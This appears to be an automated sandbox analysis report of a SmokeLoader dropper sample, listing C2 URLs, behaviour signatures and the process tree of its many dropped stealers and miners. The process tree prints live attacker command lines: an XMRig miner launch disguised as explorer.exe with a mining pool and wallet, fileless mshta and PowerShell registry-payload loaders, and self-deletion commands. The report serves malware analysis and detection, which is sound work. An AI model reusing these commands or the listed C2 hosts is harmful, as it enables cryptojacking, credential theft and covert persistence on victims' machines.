Overview

overview

10

Static

static

7f49ebcbc2...5a.exe

windows7_x64

10

7f49ebcbc2...5a.exe

windows10_x64

10

Analysis

  • max time kernel
    150s
  • max time network
    146s
  • platform
    windows10_x64
  • resource
    win10v20210410
  • submitted
    14/05/2021, 19:16

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    7f49ebcbc2596d68dbd648d68ea3542ae8cc8a5a.exe
  • Size 8KB
  • Sample210514-2yfvx77ssx
  • SHA256 5397b6d592556e4d65cd442190cfbcba5b3d253b0fbfcc0a16f1c6f2b48a58c4
  • MD5 SHA1 SHA512
Score
10/10
gozi_ifsbplugxraccoonredlinesmokeloaderxmrigbackdoorbankerdiscoveryevasioninfostealerminerspywarestealertrojanupxvmprotect

Malware Config

Extracted

Family

  • smokeloader

Version

  • 2020

C2

  • http://999080321newfolder1002002131-service1002.space/

  • http://999080321newfolder1002002231-service1002.space/

  • http://999080321newfolder3100231-service1002.space/

  • http://999080321newfolder1002002431-service1002.space/

  • http://999080321newfolder1002002531-service1002.space/

  • http://999080321newfolder33417-012425999080321.space/

  • http://999080321test125831-service10020125999080321.space/

  • http://999080321test136831-service10020125999080321.space/

  • http://999080321test147831-service10020125999080321.space/

  • http://999080321test146831-service10020125999080321.space/

  • http://999080321test134831-service10020125999080321.space/

  • http://999080321est213531-service1002012425999080321.ru/

  • http://999080321yes1t3481-service10020125999080321.ru/

  • http://999080321test13561-service10020125999080321.su/

  • http://999080321test14781-service10020125999080321.info/

  • http://999080321test13461-service10020125999080321.net/

  • http://999080321test15671-service10020125999080321.tech/

  • http://999080321test12671-service10020125999080321.online/

  • http://999080321utest1341-service10020125999080321.ru/

  • http://999080321uest71-service100201dom25999080321.ru/

rc4.i32
rc4.i32

Signatures

  • Gozi, Gozi IFSB

    Gozi ISFB is a well-known and widely distributed banking trojan.

    bankertrojangozi_ifsb
  • PlugX

    PlugX is a RAT (Remote Access Trojan) that has been around since 2008.

    trojanplugx
  • Raccoon

    Simple but powerful infostealer which was very active in 2019.

    stealerraccoon
  • RedLine

    RedLine Stealer is a malware family written in C#, first appearing in early 2020.

    infostealerredline
  • RedLine Payload 2 IoCs
  • SmokeLoader

    Modular backdoor trojan in use since 2014.

    trojanbackdoorsmokeloader
  • Suspicious use of NtCreateProcessExOtherParentProcess 1 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

    minerxmrig
  • XMRig Miner Payload 3 IoCs
    miner
  • Downloads MZ/PE file
  • Executes dropped EXE 33 IoCs
  • UPX packed file 8 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

    upx
  • VMProtect packed file 5 IoCs

    Detects executables packed with VMProtect commercial packer.

    vmprotect
  • Checks computer location settings 2 TTPs 2 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Loads dropped DLL 9 IoCs
  • Reads local data of messenger clients 2 TTPs

    Infostealers often target stored data of messaging applications, which can include saved credentials and account information.

    spywarestealer
  • Reads user/profile data of local email clients 2 TTPs

    Email clients store some user data on disk where infostealers will often target it.

    spywarestealer
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

    spywarestealer
  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
    spyware
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

    discovery
  • Checks whether UAC is enabled 1 TTPs 2 IoCs
    evasiontrojan
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs
  • Looks up external IP address via web service 2 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 5 IoCs
  • Drops file in Program Files directory 13 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Program crash 12 IoCs
  • Checks SCSI registry key(s) 3 TTPs 3 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Checks processor information in registry 2 TTPs 4 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Kills process with taskkill 4 IoCs
    evasion
  • Modifies Internet Explorer settings 1 TTPs 64 IoCs
    adwarespyware
  • Modifies data under HKEY_USERS 13 IoCs
  • Modifies registry class 18 IoCs
  • Modifies system certificate store 2 TTPs 2 IoCs
    evasionspywaretrojan
  • Runs ping.exe 1 TTPs 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious behavior: MapViewOfSection 61 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 5 IoCs
  • Suspicious use of SetWindowsHookEx 21 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • c:\windows\system32\svchost.exe
    c:\windows\system32\svchost.exe -k netsvcs -s WpnService
    1⤵
    • Modifies registry class
    PID:2688
  • c:\windows\system32\svchost.exe
    c:\windows\system32\svchost.exe -k netsvcs -s Browser
    1⤵
      PID:2808
    • C:\Users\Admin\AppData\Local\Temp\7f49ebcbc2596d68dbd648d68ea3542ae8cc8a5a.exe
      "C:\Users\Admin\AppData\Local\Temp\7f49ebcbc2596d68dbd648d68ea3542ae8cc8a5a.exe"
      1⤵
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:3912
      • C:\Users\Admin\AppData\Roaming\mWMlFsWCTywXqwk7sLQQrpR9.exe
        "C:\Users\Admin\AppData\Roaming\mWMlFsWCTywXqwk7sLQQrpR9.exe"
        2⤵
        • Executes dropped EXE
        • Suspicious use of AdjustPrivilegeToken
        PID:3728
      • C:\Users\Admin\AppData\Roaming\yM3MG1SZeusTHttHs4e8yIOu.exe
        "C:\Users\Admin\AppData\Roaming\yM3MG1SZeusTHttHs4e8yIOu.exe"
        2⤵
        • Executes dropped EXE
        PID:2732
        • C:\Windows\SysWOW64\cmd.exe
          "C:\Windows\System32\cmd.exe" /c taskkill /im "yM3MG1SZeusTHttHs4e8yIOu.exe" /f & erase "C:\Users\Admin\AppData\Roaming\yM3MG1SZeusTHttHs4e8yIOu.exe" & exit
          3⤵
            PID:2504
            • C:\Windows\SysWOW64\taskkill.exe
              taskkill /im "yM3MG1SZeusTHttHs4e8yIOu.exe" /f
              4⤵
              • Kills process with taskkill
              PID:1432
        • C:\Users\Admin\AppData\Roaming\59yTbsbnKTHxZYmfJcgvm7lG.exe
          "C:\Users\Admin\AppData\Roaming\59yTbsbnKTHxZYmfJcgvm7lG.exe"
          2⤵
          • Executes dropped EXE
          PID:4040
          • C:\Windows\SysWOW64\WerFault.exe
            C:\Windows\SysWOW64\WerFault.exe -u -p 4040 -s 656
            3⤵
            • Program crash
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:4868
          • C:\Windows\SysWOW64\WerFault.exe
            C:\Windows\SysWOW64\WerFault.exe -u -p 4040 -s 668
            3⤵
            • Program crash
            • Suspicious behavior: EnumeratesProcesses
            PID:4748
          • C:\Windows\SysWOW64\WerFault.exe
            C:\Windows\SysWOW64\WerFault.exe -u -p 4040 -s 632
            3⤵
            • Program crash
            PID:2728
          • C:\Windows\SysWOW64\WerFault.exe
            C:\Windows\SysWOW64\WerFault.exe -u -p 4040 -s 772
            3⤵
            • Loads dropped DLL
            • Program crash
            • Modifies registry class
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:4700
          • C:\Windows\SysWOW64\WerFault.exe
            C:\Windows\SysWOW64\WerFault.exe -u -p 4040 -s 1116
            3⤵
            • Program crash
            PID:432
          • C:\Windows\SysWOW64\WerFault.exe
            C:\Windows\SysWOW64\WerFault.exe -u -p 4040 -s 1144
            3⤵
            • Program crash
            PID:4320
          • C:\Windows\SysWOW64\WerFault.exe
            C:\Windows\SysWOW64\WerFault.exe -u -p 4040 -s 1156
            3⤵
            • Program crash
            PID:3432
          • C:\Windows\SysWOW64\cmd.exe
            "C:\Windows\System32\cmd.exe" /c taskkill /im "59yTbsbnKTHxZYmfJcgvm7lG.exe" /f & erase "C:\Users\Admin\AppData\Roaming\59yTbsbnKTHxZYmfJcgvm7lG.exe" & exit
            3⤵
              PID:2220
              • C:\Windows\SysWOW64\taskkill.exe
                taskkill /im "59yTbsbnKTHxZYmfJcgvm7lG.exe" /f
                4⤵
                • Kills process with taskkill
                PID:2276
          • C:\Users\Admin\AppData\Roaming\f6HBchLgYflog0Miixj8mdmT.exe
            "C:\Users\Admin\AppData\Roaming\f6HBchLgYflog0Miixj8mdmT.exe"
            2⤵
            • Executes dropped EXE
            PID:2228
            • C:\Windows\SysWOW64\cmd.exe
              cmd.exe /C ping 1.1.1.1 -n 1 -w 3000 > Nul & Del /f /q "C:\Users\Admin\AppData\Roaming\f6HBchLgYflog0Miixj8mdmT.exe"
              3⤵
                PID:4360
                • C:\Windows\SysWOW64\PING.EXE
                  ping 1.1.1.1 -n 1 -w 3000
                  4⤵
                  • Runs ping.exe
                  PID:4180
            • C:\Users\Admin\AppData\Roaming\EFOodZlTmtJKFX1P3z5vYor8.exe
              "C:\Users\Admin\AppData\Roaming\EFOodZlTmtJKFX1P3z5vYor8.exe"
              2⤵
              • Executes dropped EXE
              • Suspicious use of WriteProcessMemory
              PID:3916
              • C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe
                C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
                3⤵
                • Executes dropped EXE
                PID:4720
              • C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe
                C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
                3⤵
                • Executes dropped EXE
                • Suspicious behavior: EnumeratesProcesses
                PID:5072
            • C:\Users\Admin\AppData\Roaming\ULyzyUk0w67FIWxGFuEPdLbR.exe
              "C:\Users\Admin\AppData\Roaming\ULyzyUk0w67FIWxGFuEPdLbR.exe"
              2⤵
              • Executes dropped EXE
              • Suspicious use of SetThreadContext
              • Suspicious use of AdjustPrivilegeToken
              PID:3756
              • C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
                C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
                3⤵
                  PID:4196
              • C:\Users\Admin\AppData\Roaming\0kWlbxMbDp61J6F2czeAfsYg.exe
                "C:\Users\Admin\AppData\Roaming\0kWlbxMbDp61J6F2czeAfsYg.exe"
                2⤵
                • Executes dropped EXE
                • Drops file in Program Files directory
                • Suspicious use of WriteProcessMemory
                PID:4048
                • C:\Program Files (x86)\Company\NewProduct\setup.exe
                  "C:\Program Files (x86)\Company\NewProduct\setup.exe"
                  3⤵
                  • Executes dropped EXE
                  PID:4284
                  • C:\Windows\SysWOW64\WerFault.exe
                    C:\Windows\SysWOW64\WerFault.exe -u -p 4284 -s 796
                    4⤵
                    • Program crash
                    • Suspicious behavior: EnumeratesProcesses
                    • Suspicious use of AdjustPrivilegeToken
                    PID:4272
                  • C:\Windows\SysWOW64\WerFault.exe
                    C:\Windows\SysWOW64\WerFault.exe -u -p 4284 -s 844
                    4⤵
                    • Program crash
                    PID:5072
                  • C:\Windows\SysWOW64\WerFault.exe
                    C:\Windows\SysWOW64\WerFault.exe -u -p 4284 -s 828
                    4⤵
                    • Program crash
                    PID:4184
                  • C:\Windows\SysWOW64\WerFault.exe
                    C:\Windows\SysWOW64\WerFault.exe -u -p 4284 -s 956
                    4⤵
                    • Program crash
                    PID:2216
                  • C:\Windows\SysWOW64\WerFault.exe
                    C:\Windows\SysWOW64\WerFault.exe -u -p 4284 -s 948
                    4⤵
                    • Suspicious use of NtCreateProcessExOtherParentProcess
                    • Program crash
                    PID:2884
                • C:\Program Files (x86)\Company\NewProduct\md8_8eus.exe
                  "C:\Program Files (x86)\Company\NewProduct\md8_8eus.exe"
                  3⤵
                  • Executes dropped EXE
                  • Checks whether UAC is enabled
                  • Drops file in Program Files directory
                  PID:4324
                • C:\Program Files (x86)\Company\NewProduct\wangjun.exe
                  "C:\Program Files (x86)\Company\NewProduct\wangjun.exe"
                  3⤵
                    PID:4424
                    • C:\Windows\SysWOW64\rUNdlL32.eXe
                      "C:\Windows\system32\rUNdlL32.eXe" "C:\Users\Admin\AppData\Local\Temp\install.dll",install
                      4⤵
                      • Loads dropped DLL
                      • Modifies registry class
                      • Suspicious behavior: EnumeratesProcesses
                      • Suspicious use of AdjustPrivilegeToken
                      PID:5096
                  • C:\Program Files (x86)\Company\NewProduct\customer2.exe
                    "C:\Program Files (x86)\Company\NewProduct\customer2.exe"
                    3⤵
                    • Executes dropped EXE
                    PID:4384
                    • C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe
                      C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
                      4⤵
                      • Executes dropped EXE
                      PID:4824
                    • C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe
                      C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
                      4⤵
                      • Executes dropped EXE
                      PID:4728
                  • C:\Program Files (x86)\Company\NewProduct\file4.exe
                    "C:\Program Files (x86)\Company\NewProduct\file4.exe"
                    3⤵
                    • Executes dropped EXE
                    PID:4356
                • C:\Users\Admin\AppData\Roaming\NBsguVH5XpzTrs7ZumtswrYS.exe
                  "C:\Users\Admin\AppData\Roaming\NBsguVH5XpzTrs7ZumtswrYS.exe"
                  2⤵
                  • Executes dropped EXE
                  • Suspicious use of SetThreadContext
                  PID:1196
                  • C:\Windows\explorer.exe
                    C:\Windows\explorer.exe -B --coin=monero --asm=auto --cpu-memory-pool=1 --randomx-mode=auto --randomx-no-rdmsr --cuda-bfactor-hint=12 --cuda-bsleep-hint=100 --url=pool.supportxmr.com:443 --user=89UyhNJWGyP6xoycGBA3A6HjdNEs7g3jr34EXVtqGYzg5wLEbmZY2AcGy5Kw5NRfjaYTUyW1dKCHGinv7fGMg45zVCRQwNM --pass=trinity-miner-cpu-v2 --cpu-max-threads-hint=60 --donate-level=5 --unam-idle-wait=1 --unam-idle-cpu=100 --tls
                    3⤵
                    • Suspicious use of AdjustPrivilegeToken
                    PID:4768
                • C:\Users\Admin\AppData\Roaming\PE0Y5bwZYQIhRj1FhnwkwMsC.exe
                  "C:\Users\Admin\AppData\Roaming\PE0Y5bwZYQIhRj1FhnwkwMsC.exe"
                  2⤵
                  • Executes dropped EXE
                  • Suspicious use of SetThreadContext
                  PID:3276
                  • C:\Users\Admin\AppData\Roaming\PE0Y5bwZYQIhRj1FhnwkwMsC.exe
                    "C:\Users\Admin\AppData\Roaming\PE0Y5bwZYQIhRj1FhnwkwMsC.exe"
                    3⤵
                    • Executes dropped EXE
                    • Loads dropped DLL
                    • Checks SCSI registry key(s)
                    • Suspicious behavior: EnumeratesProcesses
                    • Suspicious behavior: MapViewOfSection
                    PID:4264
                • C:\Users\Admin\AppData\Roaming\pZp22WnJugMsgn5me8rbXhMd.exe
                  "C:\Users\Admin\AppData\Roaming\pZp22WnJugMsgn5me8rbXhMd.exe"
                  2⤵
                  • Executes dropped EXE
                  PID:3564
                • C:\Users\Admin\AppData\Roaming\oJZKgrBILz1fkKAg44uxMtwt.exe
                  "C:\Users\Admin\AppData\Roaming\oJZKgrBILz1fkKAg44uxMtwt.exe"
                  2⤵
                  • Executes dropped EXE
                  • Modifies system certificate store
                  • Suspicious use of AdjustPrivilegeToken
                  PID:3896
                  • C:\Windows\SysWOW64\cmd.exe
                    cmd.exe /c taskkill /f /im chrome.exe
                    3⤵
                      PID:4364
                      • C:\Windows\SysWOW64\taskkill.exe
                        taskkill /f /im chrome.exe
                        4⤵
                        • Kills process with taskkill
                        PID:1272
                  • C:\Users\Admin\AppData\Roaming\F3IgvwCl9Xf34g0ZuJoyIvRZ.exe
                    "C:\Users\Admin\AppData\Roaming\F3IgvwCl9Xf34g0ZuJoyIvRZ.exe"
                    2⤵
                    • Executes dropped EXE
                    • Suspicious use of WriteProcessMemory
                    PID:3836
                    • C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe
                      C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
                      3⤵
                      • Executes dropped EXE
                      PID:4656
                    • C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe
                      C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
                      3⤵
                      • Executes dropped EXE
                      PID:1328
                  • C:\Users\Admin\AppData\Roaming\Wkqptueq8JHMsvosrGTtN0ML.exe
                    "C:\Users\Admin\AppData\Roaming\Wkqptueq8JHMsvosrGTtN0ML.exe"
                    2⤵
                    • Executes dropped EXE
                    • Suspicious use of SetThreadContext
                    PID:696
                    • C:\Users\Admin\AppData\Roaming\Wkqptueq8JHMsvosrGTtN0ML.exe
                      "{path}"
                      3⤵
                      • Executes dropped EXE
                      PID:4020
                    • C:\Users\Admin\AppData\Roaming\Wkqptueq8JHMsvosrGTtN0ML.exe
                      "{path}"
                      3⤵
                      • Executes dropped EXE
                      • Checks computer location settings
                      • Checks processor information in registry
                      • Modifies registry class
                      PID:4424
                  • C:\Users\Admin\AppData\Roaming\Cz2k6cU6ENplRXVSQuC29Bsg.exe
                    "C:\Users\Admin\AppData\Roaming\Cz2k6cU6ENplRXVSQuC29Bsg.exe"
                    2⤵
                    • Executes dropped EXE
                    • Checks computer location settings
                    • Modifies registry class
                    • Suspicious use of WriteProcessMemory
                    PID:4148
                    • C:\Windows\SysWOW64\rUNdlL32.eXe
                      "C:\Windows\system32\rUNdlL32.eXe" "C:\Users\Admin\AppData\Local\Temp\install.dll",install
                      3⤵
                        PID:4700
                    • C:\Users\Admin\AppData\Roaming\5da8qBhCVxwjOLUq3GNdwdZv.exe
                      "C:\Users\Admin\AppData\Roaming\5da8qBhCVxwjOLUq3GNdwdZv.exe"
                      2⤵
                      • Executes dropped EXE
                      • Checks whether UAC is enabled
                      PID:4620
                    • C:\Windows\System32\cmd.exe
                      "C:\Windows\System32\cmd.exe" /c taskkill /im "7f49ebcbc2596d68dbd648d68ea3542ae8cc8a5a.exe" /f & erase "C:\Users\Admin\AppData\Local\Temp\7f49ebcbc2596d68dbd648d68ea3542ae8cc8a5a.exe" & exit
                      2⤵
                        PID:4500
                        • C:\Windows\system32\taskkill.exe
                          taskkill /im "7f49ebcbc2596d68dbd648d68ea3542ae8cc8a5a.exe" /f
                          3⤵
                          • Kills process with taskkill
                          PID:212
                    • c:\windows\system32\svchost.exe
                      c:\windows\system32\svchost.exe -k netsvcs -s Winmgmt
                      1⤵
                        PID:2676
                      • c:\windows\system32\svchost.exe
                        c:\windows\system32\svchost.exe -k netsvcs -s IKEEXT
                        1⤵
                          PID:2476
                        • \??\c:\windows\system32\svchost.exe
                          c:\windows\system32\svchost.exe -k netsvcs -s BITS
                          1⤵
                          • Suspicious use of SetThreadContext
                          • Modifies registry class
                          • Suspicious behavior: EnumeratesProcesses
                          • Suspicious use of AdjustPrivilegeToken
                          PID:3232
                          • C:\Windows\system32\svchost.exe
                            C:\Windows\system32\svchost.exe -k SystemNetworkService
                            2⤵
                            • Drops file in System32 directory
                            • Checks processor information in registry
                            • Modifies data under HKEY_USERS
                            • Modifies registry class
                            PID:4912
                        • c:\windows\system32\svchost.exe
                          c:\windows\system32\svchost.exe -k netsvcs -s LanmanServer
                          1⤵
                            PID:2448
                          • c:\windows\system32\svchost.exe
                            c:\windows\system32\svchost.exe -k netsvcs -s ShellHWDetection
                            1⤵
                              PID:1880
                            • c:\windows\system32\svchost.exe
                              c:\windows\system32\svchost.exe -k netsvcs -s SENS
                              1⤵
                                PID:1424
                              • c:\windows\system32\svchost.exe
                                c:\windows\system32\svchost.exe -k netsvcs -s UserManager
                                1⤵
                                  PID:1292
                                • c:\windows\system32\svchost.exe
                                  c:\windows\system32\svchost.exe -k netsvcs -s Themes
                                  1⤵
                                    PID:1228
                                  • c:\windows\system32\svchost.exe
                                    c:\windows\system32\svchost.exe -k netsvcs -s ProfSvc
                                    1⤵
                                      PID:1108
                                    • c:\windows\system32\svchost.exe
                                      c:\windows\system32\svchost.exe -k netsvcs -s Schedule
                                      1⤵
                                      • Drops file in System32 directory
                                      PID:1068
                                    • c:\windows\system32\svchost.exe
                                      c:\windows\system32\svchost.exe -k netsvcs -s gpsvc
                                      1⤵
                                        PID:1012
                                      • C:\Users\Admin\AppData\Local\Temp\D93F.exe
                                        C:\Users\Admin\AppData\Local\Temp\D93F.exe
                                        1⤵
                                        • Executes dropped EXE
                                        • Suspicious use of SetWindowsHookEx
                                        PID:4428
                                      • C:\Users\Admin\AppData\Local\Temp\E798.exe
                                        C:\Users\Admin\AppData\Local\Temp\E798.exe
                                        1⤵
                                        • Executes dropped EXE
                                        • Loads dropped DLL
                                        PID:4568
                                      • C:\Users\Admin\AppData\Local\Temp\F043.exe
                                        C:\Users\Admin\AppData\Local\Temp\F043.exe
                                        1⤵
                                        • Executes dropped EXE
                                        PID:788
                                      • C:\Users\Admin\AppData\Local\Temp\F92E.exe
                                        C:\Users\Admin\AppData\Local\Temp\F92E.exe
                                        1⤵
                                        • Executes dropped EXE
                                        PID:2672
                                      • C:\Windows\SysWOW64\explorer.exe
                                        C:\Windows\SysWOW64\explorer.exe
                                        1⤵
                                          PID:5080
                                        • C:\Windows\explorer.exe
                                          C:\Windows\explorer.exe
                                          1⤵
                                            PID:3500
                                          • C:\Program Files\Internet Explorer\iexplore.exe
                                            "C:\Program Files\Internet Explorer\iexplore.exe" -Embedding
                                            1⤵
                                            • Modifies Internet Explorer settings
                                            • Suspicious use of FindShellTrayWindow
                                            • Suspicious use of SetWindowsHookEx
                                            PID:3588
                                            • C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
                                              "C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:3588 CREDAT:82945 /prefetch:2
                                              2⤵
                                              • Modifies Internet Explorer settings
                                              • Suspicious use of SetWindowsHookEx
                                              PID:4148
                                          • C:\Windows\SysWOW64\explorer.exe
                                            C:\Windows\SysWOW64\explorer.exe
                                            1⤵
                                            • Suspicious behavior: MapViewOfSection
                                            PID:4712
                                          • C:\Windows\explorer.exe
                                            C:\Windows\explorer.exe
                                            1⤵
                                            • Suspicious behavior: MapViewOfSection
                                            PID:2136
                                          • C:\Windows\SysWOW64\explorer.exe
                                            C:\Windows\SysWOW64\explorer.exe
                                            1⤵
                                            • Suspicious behavior: MapViewOfSection
                                            PID:1540
                                          • C:\Windows\explorer.exe
                                            C:\Windows\explorer.exe
                                            1⤵
                                            • Suspicious behavior: MapViewOfSection
                                            PID:3880
                                          • C:\Windows\SysWOW64\explorer.exe
                                            C:\Windows\SysWOW64\explorer.exe
                                            1⤵
                                            • Suspicious behavior: MapViewOfSection
                                            PID:2312
                                          • C:\Windows\explorer.exe
                                            C:\Windows\explorer.exe
                                            1⤵
                                            • Suspicious behavior: MapViewOfSection
                                            PID:4532
                                          • C:\Windows\SysWOW64\explorer.exe
                                            C:\Windows\SysWOW64\explorer.exe
                                            1⤵
                                              PID:528
                                            • C:\Program Files\Internet Explorer\iexplore.exe
                                              "C:\Program Files\Internet Explorer\iexplore.exe" -Embedding
                                              1⤵
                                              • Modifies Internet Explorer settings
                                              • Suspicious use of FindShellTrayWindow
                                              • Suspicious use of SetWindowsHookEx
                                              PID:200
                                              • C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
                                                "C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:200 CREDAT:82945 /prefetch:2
                                                2⤵
                                                • Modifies Internet Explorer settings
                                                • Suspicious use of SetWindowsHookEx
                                                PID:4548
                                            • C:\Program Files\Internet Explorer\iexplore.exe
                                              "C:\Program Files\Internet Explorer\iexplore.exe" -Embedding
                                              1⤵
                                              • Modifies Internet Explorer settings
                                              • Suspicious use of FindShellTrayWindow
                                              • Suspicious use of SetWindowsHookEx
                                              PID:4224
                                              • C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
                                                "C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:4224 CREDAT:82945 /prefetch:2
                                                2⤵
                                                • Modifies Internet Explorer settings
                                                • Suspicious use of SetWindowsHookEx
                                                PID:3920
                                              • C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
                                                "C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:4224 CREDAT:82951 /prefetch:2
                                                2⤵
                                                • Modifies Internet Explorer settings
                                                • Suspicious use of SetWindowsHookEx
                                                PID:1912
                                            • C:\Windows\System32\mshta.exe
                                              "C:\Windows\System32\mshta.exe" "about:<hta:application><script>Sjsv='wscript.shell';resizeTo(0,2);eval(new ActiveXObject(Sjsv).regread('HKCU\\\Software\\AppDataLow\\Software\\Microsoft\\55E8A2AC-B09D-4F15-6259-E4F3B69D58D7\\\AppVpsvc'));if(!window.flag)close()</script>"
                                              1⤵
                                                PID:2684
                                                • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" iex ([System.Text.Encoding]::ASCII.GetString(( gp "HKCU:Software\AppDataLow\Software\Microsoft\55E8A2AC-B09D-4F15-6259-E4F3B69D58D7").appvions))
                                                  2⤵
                                                    PID:1636

                                                Network

                                                      MITRE ATT&CK Enterprise v6

                                                      Replay Monitor

                                                      Loading Replay Monitor...

                                                      Downloads

                                                      memory/696-166-0x00000000053F0000-0x00000000053F1000-memory.dmp
                                                      Download

                                                      memory/696-170-0x0000000005120000-0x0000000005121000-memory.dmp
                                                      Download

                                                      memory/696-169-0x0000000004FB0000-0x0000000004FB1000-memory.dmp
                                                      Download

                                                      memory/696-213-0x0000000005200000-0x000000000520E000-memory.dmp
                                                      Download

                                                      memory/696-189-0x0000000008550000-0x0000000008551000-memory.dmp
                                                      Download

                                                      memory/696-173-0x0000000004EF0000-0x00000000053EE000-memory.dmp
                                                      Download

                                                      memory/696-163-0x00000000005E0000-0x00000000005E1000-memory.dmp
                                                      Download

                                                      memory/1012-235-0x0000027138B90000-0x0000027138C00000-memory.dmp
                                                      Download

                                                      memory/1012-282-0x0000027139230000-0x00000271392A0000-memory.dmp
                                                      Download

                                                      memory/1068-306-0x00000197E5530000-0x00000197E55A0000-memory.dmp
                                                      Download

                                                      memory/1068-301-0x00000197E5400000-0x00000197E5470000-memory.dmp
                                                      Download

                                                      memory/1108-265-0x0000029CE2E70000-0x0000029CE2EE0000-memory.dmp
                                                      Download

                                                      memory/1108-300-0x0000029CE2EE0000-0x0000029CE2F50000-memory.dmp
                                                      Download

                                                      memory/1196-202-0x0000000001930000-0x000000000193A000-memory.dmp
                                                      Download

                                                      memory/1196-191-0x0000000001960000-0x0000000001962000-memory.dmp
                                                      Download

                                                      memory/1196-123-0x0000000000DA0000-0x0000000000DA1000-memory.dmp
                                                      Download

                                                      memory/1196-125-0x00000000018E0000-0x00000000018E1000-memory.dmp
                                                      Download

                                                      memory/1228-307-0x0000026CE1290000-0x0000026CE1300000-memory.dmp
                                                      Download

                                                      memory/1292-314-0x00000214047E0000-0x0000021404850000-memory.dmp
                                                      Download

                                                      memory/1424-313-0x00000233CF000000-0x00000233CF070000-memory.dmp
                                                      Download

                                                      memory/1880-299-0x00000299FFD00000-0x00000299FFD70000-memory.dmp
                                                      Download

                                                      memory/2448-256-0x000001ACC4B40000-0x000001ACC4BB0000-memory.dmp
                                                      Download

                                                      memory/2476-244-0x000002CF88170000-0x000002CF881E0000-memory.dmp
                                                      Download

                                                      memory/2476-290-0x000002CF88240000-0x000002CF882B0000-memory.dmp
                                                      Download

                                                      memory/2676-320-0x000001EE99530000-0x000001EE995A0000-memory.dmp
                                                      Download

                                                      memory/2688-322-0x000001DEE72B0000-0x000001DEE7320000-memory.dmp
                                                      Download

                                                      memory/2732-219-0x0000000000400000-0x0000000000477000-memory.dmp
                                                      Download

                                                      memory/2732-216-0x0000000000480000-0x00000000005CA000-memory.dmp
                                                      Download

                                                      memory/2808-225-0x0000017902600000-0x0000017902670000-memory.dmp
                                                      Download

                                                      memory/2808-221-0x0000017902410000-0x000001790245B000-memory.dmp
                                                      Download

                                                      memory/2808-273-0x0000017902A20000-0x0000017902A90000-memory.dmp
                                                      Download

                                                      memory/3052-327-0x0000000002F00000-0x0000000002F17000-memory.dmp
                                                      Download

                                                      memory/3232-218-0x00000173A7F90000-0x00000173A8000000-memory.dmp
                                                      Download

                                                      memory/3232-260-0x00000173A8170000-0x00000173A81E0000-memory.dmp
                                                      Download

                                                      memory/3276-251-0x00000000004B0000-0x00000000004BC000-memory.dmp
                                                      Download

                                                      memory/3728-156-0x00000000012A0000-0x00000000012A2000-memory.dmp
                                                      Download

                                                      memory/3756-167-0x00000000014F0000-0x00000000014F2000-memory.dmp
                                                      Download

                                                      memory/3756-168-0x00000000054C0000-0x00000000054C1000-memory.dmp
                                                      Download

                                                      memory/3756-157-0x0000000000BB0000-0x0000000000BB1000-memory.dmp
                                                      Download

                                                      memory/3912-116-0x0000000000900000-0x0000000000902000-memory.dmp
                                                      Download

                                                      memory/3912-114-0x0000000000160000-0x0000000000161000-memory.dmp
                                                      Download

                                                      memory/4040-331-0x0000000000400000-0x000000000047A000-memory.dmp
                                                      Download

